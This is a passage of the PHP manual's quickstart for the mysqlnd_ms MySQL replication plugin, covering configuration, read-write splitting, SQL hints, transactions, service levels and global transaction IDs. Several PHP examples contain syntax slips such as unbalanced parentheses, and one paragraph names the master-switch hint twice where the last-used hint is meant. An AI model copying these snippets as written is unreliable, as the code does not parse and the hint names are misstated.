            }
        },
        "slave": [

        ]
    }
}

Configuring a MySQL slave server list is required, although it may contain an empty list. It is recommended to always configure at least one slave server.

Server lists can use anonymous or non-anonymous syntax. Non-anonymous lists include alias names for the servers, such as master_0 for the master in the above example. The quickstart uses the more verbose non-anonymous syntax.

Example #3 Recommended minimal plugin-specific config (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

If there are at least two servers in total, the plugin can start to load balance and switch connections. Switching connections is not always transparent and can cause issues in certain cases. The reference sections about connection pooling and switching, transaction handling, fail over load balancing and read-write splitting all provide more details. And potential pitfalls are described later in this guide.

It is the responsibility of the application to handle potential issues caused by connection switches, by configuring a master with at least one slave server, which allows switching to work therefore related problems can be found.

The MySQL master and MySQL slave servers, which you configure, do not need to be part of MySQL replication setup. For testing purpose you can use single MySQL server and make it known to the plugin as a master and slave server as shown below. This could help you to detect many potential issues with connection switches. However, such a setup will not be prone to the issues caused by replication lag.

Example #4 Using one server as a master and as a slave (testing only!)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

User Contributed Notes

There are no user contributed notes for this page.
Quickstart and Examples
Running statements
Quickstart and Examples


Running statements

The plugin can be used with any PHP MySQL extension (mysqli, mysql, and PDO_MYSQL) that is compiled to use the mysqlnd library. PECL/mysqlnd_ms plugs into the mysqlnd library. It does not change the API or behavior of those extensions.

Whenever a connection to MySQL is being opened, the plugin compares the host parameter value of the connect call, with the section names from the plugin specific configuration file. If, for example, the plugin specific configuration file has a section myapp then the section should be referenced by opening a MySQL connection to the host myapp

Example #1 Plugin specific configuration file (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

Example #2 Opening a load balanced connection

<?php
/* Load balanced following "myapp" section rules from the plugins config file */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");
?>

The connection examples above will be load balanced. The plugin will send read-only statements to the MySQL slave server with the IP 192.168.2.27 and will listen on port 3306 for the MySQL client connection. All other statements will be directed to the MySQL master server running on the host localhost. If on Unix like operating systems, the master on localhost will be accepting MySQL client connections on the Unix domain socket /tmp/mysql.sock, while TCP/IP is the default port on Windows. The plugin will use the user name username and the password password to connect to any of the MySQL servers listed in the section myapp of the plugins configuration file. Upon connect, the plugin will select database as the current schemata.

The username, password and schema name are taken from the connect API calls and used for all servers. In other words: you must use the same username and password for every MySQL server listed in a plugin configuration file section. The is not a general limitation. As of PECL/mysqlnd_ms 1.1.0, it is possible to set the username and password for any server in the plugins configuration file, to be used instead of the credentials passed to the API call.

The plugin does not change the API for running statements. Read-write splitting works out of the box. The following example assumes that there is no significant replication lag between the master and the slave.

Example #3 Executing statements

<?php
/* Load balanced following "myapp" section rules from the plugins config file */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Statements will be run on the master */
if (!$mysqli->query("DROP TABLE IF EXISTS test")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
if (!$mysqli->query("CREATE TABLE test(id INT)")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
if (!$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* read-only: statement will be run on a slave */
if (!($res = $mysqli->query("SELECT id FROM test")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("Slave returns id = '%s'\n", $row['id'];
}
$mysqli->close();
?>

The above example will output something similar to:

Slave returns id = '1'

User Contributed Notes

There are no user contributed notes for this page.
Setup
Connection state
Quickstart and Examples


Connection state

The plugin changes the semantics of a PHP MySQL connection handle. A new connection handle represents a connection pool, instead of a single MySQL client-server network connection. The connection pool consists of a master connection, and optionally any number of slave connections.

Every connection from the connection pool has its own state. For example, SQL user variables, temporary tables and transactions are part of the state. For a complete list of items that belong to the state of a connection, see the connection pooling and switching concepts documentation. If the plugin decides to switch connections for load balancing, the application could be given a connection which has a different state. Applications must be made aware of this.

Example #1 Plugin config with one slave and one master

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

Example #2 Pitfall: connection state and SQL user variables

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 2, run on slave because SELECT */
if (!($res = $mysqli->query("SELECT @myrole AS _role"))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

The above example will output:

@myrole = ''

The example opens a load balanced connection and executes two statements. The first statement SET @myrole='master' does not begin with the string SELECT. Therefore the plugin does not recognize it as a read-only query which shall be run on a slave. The plugin runs the statement on the connection to the master. The statement sets a SQL user variable which is bound to the master connection. The state of the master connection has been changed.

The next statement is SELECT @myrole AS _role. The plugin does recognize it as a read-only query and sends it to the slave. The statement is run on a connection to the slave. This second connection does not have any SQL user variables bound to it. It has a different state than the first connection to the master. The requested SQL user variable is not set. The example script prints @myrole = ''.

It is the responsibility of the application developer to take care of the connection state. The plugin does not monitor all connection state changing activities. Monitoring all possible cases would be a very CPU intensive task, if it could be done at all.

The pitfalls can easily be worked around using SQL hints.

User Contributed Notes

There are no user contributed notes for this page.
Running statements
SQL Hints
Quickstart and Examples


SQL Hints

SQL hints can force a query to choose a specific server from the connection pool. It gives the plugin a hint to use a designated server, which can solve issues caused by connection switches and connection state.

SQL hints are standard compliant SQL comments. Because SQL comments are supposed to be ignored by SQL processing systems, they do not interfere with other programs such as the MySQL Server, the MySQL Proxy, or a firewall.

Three SQL hints are supported by the plugin: The MYSQLND_MS_MASTER_SWITCH hint makes the plugin run a statement on the master, MYSQLND_MS_SLAVE_SWITCH enforces the use of the slave, and MYSQLND_MS_MASTER_SWITCH will run a statement on the same server that was used for the previous statement.

The plugin scans the beginning of a statement for the existence of an SQL hint. SQL hints are only recognized if they appear at the beginning of the statement.

Example #1 Plugin config with one slave and one master

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

Example #2 SQL hints to prevent connection switches

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 1, run on master because of SQL hint */
if (!($res = $mysqli->query(sprintf("/*%s*/SELECT @myrole AS _role", MYSQLND_MS_LAST_USED_SWITCH)))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

The above example will output:

@myrole = 'master'

In the above example, using MYSQLND_MS_LAST_USED_SWITCH prevents session switching from the master to a slave when running the SELECT statement.

SQL hints can also be used to run SELECT statements on the MySQL master server. This may be desired if the MySQL slave servers are typically behind the master, but you need current data from the cluster.

In version 1.2.0 the concept of a service level has been introduced to address cases when current data is required. Using a service level requires less attention and removes the need of using SQL hints for this use case. Please, find more information below in the service level and consistency section.

Example #3 Fighting replication lag

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Force use of master, master has always fresh and current data */
if (!$mysqli->query(sprintf("/*%s*/SELECT critical_data FROM important_table", MYSQLND_MS_MASTER_SWITCH))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
?>

A use case may include the creation of tables on a slave. If an SQL hint is not given, then the plugin will send CREATE and INSERT statements to the master. Use the SQL hint MYSQLND_MS_SLAVE_SWITCH if you want to run any such statement on a slave, for example, to build temporary reporting tables.

Example #4 Table creation on a slave

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Force use of slave */
if (!$mysqli->query(sprintf("/*%s*/CREATE TABLE slave_reporting(id INT)", MYSQLND_MS_SLAVE_SWITCH))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
/* Continue using this particular slave connection */
if (!$mysqli->query(sprintf("/*%s*/INSERT INTO slave_reporting(id) VALUES (1), (2), (3)", MYSQLND_MS_LAST_USED_SWITCH))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
/* Don't use MYSQLND_MS_SLAVE_SWITCH which would allow switching to another slave! */
if ($res = $mysqli->query(sprintf("/*%s*/SELECT COUNT(*) AS _num FROM slave_reporting", MYSQLND_MS_LAST_USED_SWITCH))) {
  $row = $res->fetch_assoc();
  $res->close();
  printf("There are %d rows in the table 'slave_reporting'", $row['_num']);
} else {
  printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
$mysqli->close();
?>

The SQL hint MYSQLND_MS_LAST_USED forbids switching a connection, and forces use of the previously used connection.

User Contributed Notes

There are no user contributed notes for this page.
Connection state
Transactions
Quickstart and Examples


Transactions

The current version of the plugin is not transaction safe by default, because it is not transaction aware. SQL transactions are units of work to be run on a single server. The plugin does not know when the unit of work starts and when it ends. Therefore, the plugin may decide to switch connections in the middle of a transaction.

You can either use SQL hints to work around this limitation. Alternatively, you can activate transaction API call monitoring. In the latter case you must use API calls only to control transactins, see below.

Example #1 Plugin config with one slave and one master

[myapp]
{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

Example #2 Using SQL hints for transactions

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Not a SELECT, will use master */
if (!$mysqli->query("START TRANSACTION")) {
 /* Please use better error handling in your code */
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Prevent connection switch! */
if (!$mysqli->query(sprintf("/*%s*/INSERT INTO test(id) VALUES (1)", MYSQLND_MS_LAST_USED_SWITCH)))) {
 /* Please do proper ROLLBACK in your code, don't just die */
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if ($res = $mysqli->query(sprintf("/*%s*/SELECT COUNT(*) AS _num FROM test", MYSQLND_MS_LAST_USED_SWITCH)))) {
  $row = $res->fetch_assoc();
  $res->close();
  if ($row['_num'] > 1000) {
   if (!$mysqli->query(sprintf("/*%s*/INSERT INTO events(task) VALUES ('cleanup')", MYSQLND_MS_LAST_USED_SWITCH)))) {
     die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
   }
  }
} else {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query(sprintf("/*%s*/UPDATE log SET last_update = NOW()", MYSQLND_MS_LAST_USED_SWITCH)))) {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query(sprintf("/*%s*/COMMIT", MYSQLND_MS_LAST_USED_SWITCH)))) {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

$mysqli->close();
?>

Starting with PHP 5.4.0, the mysqlnd library allows the plugin to monitor the status of the autocommit mode, if the mode is set by API calls instead of using SQL statements such as SET AUTOCOMMIT=0. This makes it possible for the plugin to become transaction aware.

If using PHP 5.4.0 or newer, API calls that enable autocommit mode, and when setting the plugin configuration option trx_stickiness=master, the plugin can automatically disable load balancing and connection switches for SQL transactions. In this configuration, the plugin stops load balancing if autocommit is disabled and directs all statements to the master. This prevents connection switches in the middle of a transaction. Once autocommit is re-enabled, the plugin starts to load balance statements again.

Example #3 Transaction aware load balancing: trx_stickiness setting

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "trx_stickiness": "master"
    }
}

Example #4 Transaction aware

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Disable autocommit, plugin will run all statements on the master */
$mysqli->autocommit(FALSE);

if (!$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
 /* Please do proper ROLLBACK in your code, don't just die */
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if ($res = $mysqli->query("SELECT COUNT(*) AS _num FROM test")) {
  $row = $res->fetch_assoc();
  $res->close();
  if ($row['_num'] > 1000) {
   if (!$mysqli->query("INSERT INTO events(task) VALUES ('cleanup')")) {
     die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
   }
  }
} else {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query("UPDATE log SET last_update = NOW()")) {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->commit()) {
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Plugin assumes that the transaction has ended and starts load balancing again */
$mysqli->autocommit(TRUE);
$mysqli->close();
?>

Note: Version requirement

The plugin configuration option trx_stickiness=master requires PHP 5.4.0 or newer.

User Contributed Notes

There are no user contributed notes for this page.
SQL Hints
Service level and consistency
Quickstart and Examples


Service level and consistency

Note: Version requirement

Service levels have been introduced in PECL mysqlnd_ms version 1.2.0-alpha. mysqlnd_ms_set_qos() is available with PHP 5.4.0 or newer.

Different types of MySQL cluster solutions offer different service and data consistency levels to their users. An asynchronous MySQL replication cluster offers eventual consistency by default. A read executed on an asynchronous slave may return current, stale or no data at all, depending on whether the slave has replayed all changesets from the master or not.

Applications using an MySQL replication cluster need to be designed to work correctly with eventual consistent data. In some cases, however, stale data is not acceptable. In those cases only certain slaves or even only master accesses are allowed to achieve the required quality of service from the cluster.

As of PECL mysqlnd_ms 1.2.0 the plugin is capable of selecting MySQL replication nodes automatically that deliver session consistency or strong consistency. Session consistency means that one client can read its writes. Other clients may or may not see the clients' write. Strong consistency means that all clients will see all writes from the client.

Example #1 Session consistency: read your writes

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

Example #2 Requesting session consistency

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* read-write splitting: master used */
if (!$mysqli->query("INSERT INTO orders(order_id, item) VALUES (1, 'christmas tree, 1.8m')")) {
   /* Please use better error handling in your code */
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Request session consistency: read your writes */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Plugin picks a node which has the changes, here: master */
if (!$res = $mysqli->query("SELECT item FROM orders WHERE order_id = 1"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

var_dump($res->fetch_assoc());

/* Back to eventual consistency: stale data allowed */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Plugin picks any slave, stale data is allowed */
if (!$res = $mysqli->query("SELECT item, price FROM specials"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

Service levels can be set in the plugins configuration file and at runtime using mysqlnd_ms_set_qos(). In the example the function is used to enforce session consistency (read your writes) for all future statements until further notice. The SELECT statement on the orders table is run on the master to ensure the previous write can be seen by the client. Read-write splitting logic has been adapted to fulfill the service level.

After the application has read its changes from the orders table it returns to the default service level, which is eventual consistency. Eventual consistency puts no restrictions on choosing a node for statement execution. Thus, the SELECT statement on the specials table is executed on a slave.

The new functionality supersedes the use of SQL hints and the master_on_write configuration option. In many cases mysqlnd_ms_set_qos() is easier to use, more powerful improves portability.

Example #3 Maximum age/slave lag

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "failover" : "master"
    }
}

Example #4 Limiting slave lag

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Read from slaves lagging no more than four seconds */
$ret = mysqlnd_ms_set_qos($mysqli,
         MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL,
         MYSQLND_MS_QOS_OPTION_AGE, 4);

if (!$ret)
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Plugin picks any slave, which may or may not have the changes */
if (!$res = $mysqli->query("SELECT item, price FROM daytrade"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Back to default: use of all slaves and masters permitted */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

The eventual consistency service level can be used with an optional parameter to set a maximum slave lag for choosing slaves. If set, the plugin checks SHOW SLAVE STATUS for all configured slaves. In case of the example, only slaves for which Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master <= 4 is true are considered for executing the statement SELECT item, price FROM daytrade.

Checking SHOW SLAVE STATUS is done transparently from an applications perspective. Errors, if any, are reported as warnings. No error will be set on the connection handle. Even if all SHOW SLAVE STATUS SQL statements executed by the plugin fail, the execution of the users statement is not stopped, given that master fail over is enabled. Thus, no application changes are required.

Note: Expensive and slow operation

Checking SHOW SLAVE STATUS for all slaves adds overhead to the application. It is an expensive and slow background operation. Try to minimize the use of it. Unfortunately, a MySQL replication cluster does not give clients the possibility to request a list of candidates from a central instance. Thus, a more efficient way of checking the slaves lag is not available.

Please, note the limitations and properties of SHOW SLAVE STATUS as explained in the MySQL reference manual.

To prevent mysqlnd_ms from emitting a warning if no slaves can be found that lag no more than the defined number of seconds behind the master, it is necessary to enable master fail over in the plugins configuration file. If no slaves can be found and fail over is turned on, the plugin picks a master for executing the statement.

If no slave can be found and fail over is turned off, the plugin emits a warning, it does not execute the statement and it sets an error on the connection.

Example #5 Fail over not set

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

Example #6 No slave within time limit

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Read from slaves lagging no more than four seconds */
$ret = mysqlnd_ms_set_qos($mysqli,
         MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL,
         MYSQLND_MS_QOS_OPTION_AGE, 4);

if (!$ret)
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Plugin picks any slave, which may or may not have the changes */
if (!$res = $mysqli->query("SELECT item, price FROM daytrade"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Back to default: use of all slaves and masters permitted */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

The above example will output:

PHP Warning:  mysqli::query(): (mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. Something is wrong in %s on line %d
PHP Warning:  mysqli::query(): (mysqlnd_ms) No connection selected by the last filter in %s on line %d
[2000] (mysqlnd_ms) No connection selected by the last filter

Note: Fail over logic is work in progress

The details of the fail over logic may change in future versions.

User Contributed Notes

There are no user contributed notes for this page.
Transactions
Global transaction IDs
Quickstart and Examples


Global transaction IDs

Note: Version requirement

Global transaction ID injection has been introduced in mysqlnd_ms version 1.2.0-alpha. The feature is not required for synchronous clusters, such as MySQL Cluster. Use it with asynchronous clusters such as classical MySQL replication.

In its most basic form a global transaction ID (GTID) is a counter in a table on the master. The counter is incremented whenever a transaction is comitted on the master. Slaves replicate the table. The counter serves two puposes. In case of a master failure, it helps the database administrator to identify the most recent slave for promoting it to the new master. The most recent slave is the one with the highest counter value. Applications can use the global transaction ID to search for slaves which have replicated a certain write (identified by a global transaction ID) already.

PECL/mysqlnd_ms can inject SQL for every comitted transaction to increment a GTID counter. The so created GTID is accessible by the application to identify an applications write operation. This enables the plugin to deliver session consistency (read your writes) service level by not only quering masters but also slaves which have replicated the change already. Read load is taken away from the master.

Client-side global transaction ID emulation has some limitations. Please, read the concepts section carefully to fully understand the principles and ideas behind it, before using in production environments. The background knowledge is not required to continue with the quickstart.

First, create a counter table on your master server and insert a record into it. The plugin does not assist creating the table. Database administrators must make sure it exists. Depending on the error reporting mode, the plugin will silently ignore the lack of the table or bail out.

Example #1 Create counter table on master

CREATE TABLE `trx` (
  `trx_id` int(11) DEFAULT NULL,
  `last_update` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=latin1
INSERT INTO `trx`(`trx_id`) VALUES (1);

In the plugins configuration file set the SQL to update the global transaction ID table using on_commit from the global_transaction_id_injection section. Make sure the table name used for the UPDATE statement is fully qualified. In the example, test.trx is used to refer to table trx in the schema (database) test. Use the table that was created in the previous step. It is important to set the fully qualified table name because the connection on which the injection is done may use a different default database. Make sure the user that opens the connection is allowed to execute the UPDATE.

Enable reporting of errors that may occur when mysqlnd_ms does global transaction ID injection.

Example #2 Plugin config: SQL for client-side GTID injection

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
            "report_error":true
        }
    }
}

Example #3 Transparent global transaction ID injection

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("INSERT INTO test(id) VALUES (1)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* auto commit mode, read on slave, no increment */
if (!($res = $mysqli->query("SELECT id FROM test")))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

var_dump($res->fetch_assoc());
?>

The above example will output:

array(1) {
  ["id"]=>
  string(1) "1"
}

The example runs three statements in auto commit mode on the master, causing three transactions on the master. For every such statement, the plugin will inject the configured UPDATE transparently before executing the users SQL statement. When the script ends the global transaction ID counter on the master has been incremented by three.

The fourth SQL statement executed in the example, a SELECT, does not trigger an increment. Only transactions (writes) executed on a master shall increment the GTID counter.

Note: SQL for global transaction ID: efficient solution wanted!

The SQL used for the client-side global transaction ID emulation is inefficient. It is optimized for clearity not for performance. Do not use it for production environments. Please, help finding an efficient solution for inclusion in the manual. We appreciate your input.

Example #4 Plugin config: SQL for fetching GTID

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
            "fetch_last_gtid" : "SELECT MAX(trx_id) FROM test.trx",
            "report_error":true
        }
    }
}

Example #5 Obtaining GTID after injection

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));
?>

The above example will output:

GTID after transaction 7
GTID after transaction 8

Applications can ask PECL mysqlnd_ms for a global transaction ID which belongs to the last write operation performed by the application. The function mysqlnd_ms_get_last_gtid() returns the GTID obtained when executing the SQL statement from the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file. The function may be called after the GTID has been incremented.

Applications are adviced not to run the SQL statement themselves as this bares the risk of accidently causing an implicit GTID increment. Also, if the function is used, it is easy to migrate an application from one SQL statement for fetching a transaction ID to another, for example, if any MySQL server ever features built-in global transaction ID support.

The quickstart shows a SQL statement which will return a GTID equal or greater to that created for the previous statement. It is exactly the GTID created for the previous statement if no other clients have incremented the GTID in the time span between the statement execution and the SELECT to fetch the GTID. Otherwise, it is greater.

Example #6 Plugin config: Checking for a certain GTID

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
            "fetch_last_gtid" : "SELECT MAX(trx_id) FROM test.trx",
            "check_for_gtid" : "SELECT trx_id FROM test.trx WHERE trx_id >= #GTID",
            "report_error":true
        }
    }
}

Example #7 Session consistency service level and GTID combined

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* GTID as an identifier for the last write */
$gtid = mysqlnd_ms_get_last_gtid($mysqli);

/* Session consistency (read your writes): try to read from slaves not only master */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION, MYSQLND_MS_QOS_OPTION_GTID, $gtid)) {
    die(sprintf("[006] [%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Either run on master or a slave which has replicated the INSERT */
if (!($res = $mysqli->query("SELECT id FROM test"))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

var_dump($res->fetch_assoc());
?>

A GTID returned from mysqlnd_ms_get_last_gtid() can be used as an option for the session consistency service level. Session consistency delivers read your writes. Session consistency can be requested by calling mysqlnd_ms_set_qos(). In the example, the plugin will execute the SELECT statement either on the master or on a slave which has replicated the previous INSERT already.

PECL mysqlnd_ms will transparently check every configured slave if it has replicated the INSERT by checking the slaves GTID table. The check is done running the SQL set with the check_for_gtid option from the global_transaction_id_injection section of the plugins configuration file. Please note, that this is a slow and expensive procedure. Applications should try to use it sparsely and only if read load on the master becomes to high otherwise.

User Contributed Notes

There are no user contributed notes for this page.
Service level and consistency
Concepts
Quickstart and Examples


Concepts

Table of Contents

  • Architecture
  • Connection pooling and switching
  • Transaction handling
  • Error handling
  • Failover
  • Load balancing
